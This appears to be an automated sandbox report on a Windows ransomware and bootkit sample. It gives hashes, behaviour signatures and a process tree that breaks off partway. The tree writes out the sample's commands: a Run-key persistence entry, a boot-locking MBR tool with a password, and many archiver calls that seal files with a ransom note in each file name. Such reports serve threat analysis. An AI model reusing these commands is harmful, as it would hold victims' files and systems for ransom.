Overview

overview

10

Static

static

8

30bc4934d7...f0.exe

windows10-2004-x64

6

338fdf3626...13.exe

windows10-2004-x64

1

342933cb4c...20.exe

windows10-2004-x64

9

343ace5874...03.exe

windows10-2004-x64

8

34818CE171...49.dll

windows10-2004-x64

8

360390_crypt.exe

windows10-2004-x64

3

360390_tree.cmd

windows10-2004-x64

7

3896f8a370...e_.exe

windows10-2004-x64

7

3a061ee07d...8c.dll

windows10-2004-x64

3

3af4fa2bff...d1.dll

windows10-2004-x64

3

3bb691982d...21.exe

windows10-2004-x64

9

3e3f980ab6...95.exe

windows10-2004-x64

7

3e3f980ab6...26.exe

windows10-2004-x64

3

3e75e8238a..._2.exe

windows10-2004-x64

6

400cad56ff...9a.exe

windows10-2004-x64

9

40b3cb2a21...0c.exe

windows10-2004-x64

9

425c42d610...5F.exe

windows10-2004-x64

10

425c42d610...FF.exe

windows10-2004-x64

3

42d77128db...e7.exe

windows10-2004-x64

7

4561647.exe

windows10-2004-x64

9

457C9141EC...C8.exe

windows10-2004-x64

10

46a9660c57...83.exe

windows10-2004-x64

7

46ca6b1972...FB.exe

windows10-2004-x64

7

46ca6b1972...FC.exe

windows10-2004-x64

3

4e60f3c8ea...5b.exe

windows10-2004-x64

8

4f0b660543...B3.exe

windows10-2004-x64

10

4f0b660543...BB.exe

windows10-2004-x64

3

4f5bff6416...09.exe

windows10-2004-x64

7

Versamento...__.exe

windows10-2004-x64

4fda5e7e8e...00.exe

windows10-2004-x64

7

5 Rules for Snort.doc

windows10-2004-x64

1

502de64ee4...c2.exe

windows10-2004-x64

9

Resubmissions

28/03/2025, 16:52

250328-vdc6kazry9 9

24/03/2025, 22:22

250324-2aphra1jx7 10

Analysis

  • max time kernel
    900s
  • max time network
    434s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/03/2025, 22:22

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3896f8a37034429e9784d767765d85ef6dcde105320568516fac4e31400514db.exe_.exe

  • Size

    516KB

  • MD5

    b2b0e6184b82144f65389d39f1eadd0d

  • SHA1

    17311fb1fb33da5f303ae30ee7b4b60b80985d2e

  • SHA256

    3896f8a37034429e9784d767765d85ef6dcde105320568516fac4e31400514db

  • SHA512

    d1abc2c74aa2bad9ac8a59c1552904e6d65717786ed7a193c4fcda23218371bcad0953848f1e1c5b9df50a86e2549c6da35c6e372366826dc25f042107a8babb

  • SSDEEP

    12288:j3nZMhJ+ubNmzdCanVtkEY70mOpFRxd/GAXl0xtiNe96bgRO:j3nZqfbkzkcvElOpPj/DA2+6ERO

Score
7/10
bootkitdiscoverypersistencespywarestealer

Malware Config

Signatures

  • ACProtect 1.3x - 1.4x DLL software 1 IoCs

    Detects file using ACProtect software.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 35 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Runs ping.exe 1 TTPs 30 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3896f8a37034429e9784d767765d85ef6dcde105320568516fac4e31400514db.exe_.exe
    "C:\Users\Admin\AppData\Local\Temp\3896f8a37034429e9784d767765d85ef6dcde105320568516fac4e31400514db.exe_.exe"
    1⤵
    • Checks computer location settings
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:5484
    • C:\Windows\SysWOW64\svschost.exe
      "C:\Windows\system32\svschost.exe" -i
      2⤵
      • Executes dropped EXE
      PID:2720
    • C:\Windows\SysWOW64\nsf.exe
      "C:\Windows\system32\nsf.exe" /nobootpass /lock Yrs5S2z1
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Writes to the Master Boot Record (MBR)
      • Suspicious use of SetWindowsHookEx
      PID:1460
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:5292
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:4988
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:4824
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:3012
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:4724
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:532
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:5684
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:4488
    • C:\Windows\SysWOW64\svschost.exe
      "C:\Windows\system32\svschost.exe" -i
      2⤵
      • Executes dropped EXE
      PID:3636
    • C:\Windows\SysWOW64\nsf.exe
      "C:\Windows\system32\nsf.exe" /nobootpass /lock Yrs5S2z1
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Writes to the Master Boot Record (MBR)
      • Suspicious use of SetWindowsHookEx
      PID:4184
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:2964
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:3376
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:2392
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:1224
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:4736
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:2156
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:1176
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:2420
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:2632
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:1448
    • C:\Windows\SysWOW64\svschost.exe
      "C:\Windows\system32\svschost.exe" -s
      2⤵
      • Executes dropped EXE
      PID:4088
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:3892
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:4288
    • C:\Windows\SysWOW64\svschost.exe
      "C:\Windows\system32\svschost.exe" -i
      2⤵
      • Executes dropped EXE
      PID:4728
    • C:\Windows\SysWOW64\nsf.exe
      "C:\Windows\system32\nsf.exe" /nobootpass /lock Yrs5S2z1
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Writes to the Master Boot Record (MBR)
      • Suspicious use of SetWindowsHookEx
      PID:4740
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:4764
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:464
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:320
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:6076
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:2556
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:3488
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:5180
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:4748
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:2300
    • C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\System32\PING.EXE" -n 1 -w 1000 11.11.11.11 >nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:3396
    • C:\Windows\SysWOW64\svschost.exe
      "C:\Windows\system32\svschost.exe" -s
      2⤵
        PID:1432
      • C:\Windows\SysWOW64\svschost.exe
        "C:\Windows\system32\svschost.exe" -s
        2⤵
          PID:5084
      • C:\Windows\SysWOW64\svschost.exe
        C:\Windows\SysWOW64\svschost.exe
        1⤵
        • Executes dropped EXE
        • Enumerates connected drives
        • Drops file in System32 directory
        PID:2712
        • C:\Windows\SysWOW64\REG.exe
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchost" /t REG_SZ /d "C:\scrlk\svchost.exe" /f
          2⤵
          • Adds Run key to start application
          PID:5860
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\History.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\History.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5912
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\af.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\af.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5820
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\an.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\an.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5652
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ar.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ar.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:228
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ast.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ast.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:3796
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\az.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\az.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:768
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ba.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ba.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:2572
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\be.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\be.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:1844
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\bg.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\bg.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5744
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\bn.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\bn.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4788
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\br.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\br.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:3084
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ca.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ca.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5312
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\co.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\co.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5200
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\cs.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\cs.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:780
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\cy.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\cy.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:2184
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\da.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\da.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:532
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\de.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\de.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:1780
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\el.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\el.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:3932
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\eo.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\eo.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4184
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\es.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\es.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:3748
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\et.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\et.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:2276
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\eu.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\eu.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4060
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ext.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ext.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:1220
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\fa.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\fa.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:3704
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\fi.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\fi.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:1592
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\fr.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\fr.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:3948
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\fur.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\fur.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:748
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\fy.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\fy.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4604
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ga.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ga.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4972
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\gl.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\gl.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:3648
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\gu.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\gu.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:2036
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\he.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\he.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:3032
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\hi.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\hi.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:1340
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\hr.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\hr.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:2996
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\hu.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\hu.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:1396
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\hy.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\hy.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:1068
        • C:\ProgramData\msvkp\svchost.exe
